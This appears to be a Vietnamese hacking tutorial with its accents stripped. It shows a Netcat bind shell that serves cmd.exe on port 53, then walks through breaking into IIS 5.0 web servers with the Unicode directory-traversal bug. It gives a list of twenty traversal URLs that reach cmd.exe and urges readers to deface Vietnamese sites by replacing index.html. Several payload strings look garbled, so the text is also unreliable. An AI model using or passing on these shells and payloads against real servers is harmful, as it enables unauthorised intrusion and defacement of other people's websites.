listening on [any] 8080 ...?
?


Ring i vi Netcat cho Win, bn c th lng nghe ngay trn cng ang lng nghe. Ch
cn ch nh a ch ngun l -s<a_ch_ip_ca_my_ny > . V d:

CODE
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cng 53 ang lng nghe
...
E: > nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 - > lng nghe ngay trn cng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163?
?


Trn Windows NT, t Netcat ch lng nghe, khng cn phi c quyn
Administrator, ch cn login vo vi 1 username bnh thng khi ng Netcat l xong.
Ch : bn khng th chy netcat vi ... -u -e cmd.exe... hoc ...-u -e /bin/sh... v netcat s
khng lm vic ng. Nu bn mun c mt UDP shell trn Unix, hy dng udpshell
thay cho netcat.

( Da theo bi vit ca huynh Vicky )

49 . ) K thut hack IIS server 5.0 :

_ IIS server vi cc phin bn t trc n phin bn 5.0 u c li ta c th khai thc
, do by gi hu ht mi ngi u dng IIS server 5.0 nn li cc phin bn trc ti
khng cp n . By gi ti s by cc bn cch hack thng qua cng c activeperl v
IE , cc bn c th vn dng cho cc trang Web VN v chng b li ny rt nhiu . Ta
hy bt u nh .
_ Trc ht cc bn hy download activeperl v Unicode.pl .
_ S dng telnet xc nh trang Web ta tn cng c s dng IIS server 5.0 hay khng :

CODE
telnet < tn trang Web > 80
GET HEAD / HTTP/1.0


Nu n khng bo cho ta bit mc tiu ang s dng chng trnh g th cc bn hy thay
i cng 80 bng cc cng khc nh 8080, 81, 8000, 8001 .v.v
_ Sau khi xc nh c mc tiu cc bn vo DOS g :

CODE
perl unicode.pl
Host: ( g a ch server m cc bn mun hack )
Port: 80 ( hoc 8080, 81, 8000, 8001 tu theo cng m ta telnet trc ) .


_ Cc bn s thy bng lit k li ( c lp trnh trong Unicode.pl ) nh sau :

CODE
[1] /scripts/..%c0%af../winnt/system32/cmd.exe?/c+
[2]/scripts..%c1%9c../winnt/system32/cmd.exe?/c+
[3] /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+
[4]/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+
[5] /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+
[6] /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+
[7] /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.e
xe?/c+
[15]/cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.e
xe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.e
xe?/c+


Cc bn s thy c tt c cc li trn nu trang Web nn nhn b tt c nhng li nh
vy , nu server ca nn nhn ch b li th 13 v 17 th bng kt qu ch xut hin dng
th 13 v 17 m thi .
Ti ly VD l bng kt qu cho ti bit trang Web nn nhn b li th 3 v 7 , ti s ra IE
v nhp on m tng ng trn Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == li dng th
3
hoc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == li dng th
7

n y cc bn c th xm nhp vo server ca nn nhn ri , cc bn hy s
dng lnh trong DOS m khai thc thng tin trong ny . Thng thng cc trang Web
nm th mc vinetpubwwwroot , cc bn vo c rI th ch cn thay index.html vI
tn hack by . L c ri , ng quy h nh .

GOOKLUCK!!!!!!!!!!!!!!!

You might also like